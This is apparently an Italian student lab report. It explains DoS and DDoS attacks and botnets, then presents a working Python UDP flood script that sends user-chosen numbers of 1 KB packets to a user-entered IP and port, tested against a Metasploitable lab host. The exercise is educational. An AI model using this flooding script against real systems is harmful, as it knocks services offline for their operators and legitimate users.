Cos’è un attacco DoS:

In un attacco DDoS (Distributed Denial-of-Service), un tipo di attacco informatico, un criminale sovraccarica un sito web, un server o una risorsa di rete con traffico dannoso. Di conseguenza, il sistema preso di mira si blocca o non riesce a funzionare, negando il servizio agli utenti legittimi e impedendo al traffico legittimo di arrivare a destinazione.

Come si effettua un attacco DoS

Per sferrare un attacco DDoS, si utilizzano malware per creare una rete di botnet, ossia dispositivi connessi a Internet e infettati dal malware, che si possono sfruttare per inviare un afflusso di traffico ai sistemi presi di mira. Questa rete di bot o botnet può includere gli endpoint come dispositivi IoT (Internet of Things), smartphone, personal computer, router e server di rete e ogni dispositivo infettato diventa così in grado di diffondere il malware ad altri dispositivi per amplificare la portata di un attacco.
Una volta che si è costruita una botnet, si inviano le istruzioni da remoto ai bot, inviando le richieste e il traffico ai sistemi presi di mira (server, siti o applicazioni web, API oppure risorse di rete). In tal modo, si crea un'enorme quantità di traffico che porta al rifiuto di un servizio, impedendo, così, al traffico normale di accedere al sistema di destinazione.

Esistono molti tipi diversi di attacchi DDoS: attacchi a livello di applicazione (come HTTP flood), attacchi ai protocolli (TCP/UDP/ICMP flood), attacchi di amplificazione/riflessione e attacchi volumetrici

Realizzazione di un programma che simuli un UDP flood

Prima di tutto ho importato il modulo socket e la funzione randbytes dal modulo random per generare una sequenza di byte casuali.
Successivamente chiedo un input all’utente su quale IP vuole vuole attaccare e su quale porta, ho definito la dimensione dei pacchetti a 1KB=1024 byte come da traccia e chiedo in input quanti pacchetti si vogliono inviare.

Ho creato un socket che utilizza il protocollo UDP e IPv4, poi ho creato una variabile randomBytes che mi contiene una sequenza di bytes generati casualmente di dimensione 1KB.

Successivamente mi stampa a schermo un messaggio sui dati inseriti dall’utente e mi esegue il ciclo for che invia i pacchetti UDP al target e mi stampa un messaggio a schermo per ogni pacchetto.

```python
import socket                                                   #importo moduli e librerie per creare socke
from random import randbytes

print("Questo programma effettua un UDP flood")

ipTarget = input("Inserisci l'IP che vuoi attaccare: ")

while True:
    try:                                                        #gestisco gli errori di inserimento da part
        portaTarget = int(input("Inserisci su quale porta vuoi attaccare (1-65535): "))
        if 1 <= portaTarget <= 65535:
            break
        else:
            print("Errore: La porta deve essere un numero tra 1 e 65535\n")
    except ValueError:
        print("Errore: Inserisci un numero valido\n")


dimPacchetti = 1024                                             #1KB dimensione del pacchetto
numPacchetti = int(input("Inserisci il numero di pacchetti che vuoi inviare: "))        #numero di pacchetti che voglio inviare


s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)            #creazione socket

randomBytes = randbytes(dimPacchetti)                           #genero una sequenza casuale di bytes

print(f"Sto inviando {numPacchetti} pacchetti UDP di dimensione {dimPacchetti} bytes all'indirizzo: {ipTarget}:{portaTarget} \n")

for i in range(numPacchetti):
    s.sendto(randomBytes, (ipTarget, portaTarget))               #ciclo for che mi invia i pacchetti fino a
    print(f"Pacchetto {i+1} inviato")

print("UDP flood completato")                                   #fine
```

Ho verificato il funzionamento del programma attraverso WireShark e attaccando la metasploitable. Il programma funziona correttamente inviando il numero di pacchetti che l'utente ha deciso e di dimensione 1024Byte=1KB all'indirizzo della metasploitable 192.168.50.101 porta 80.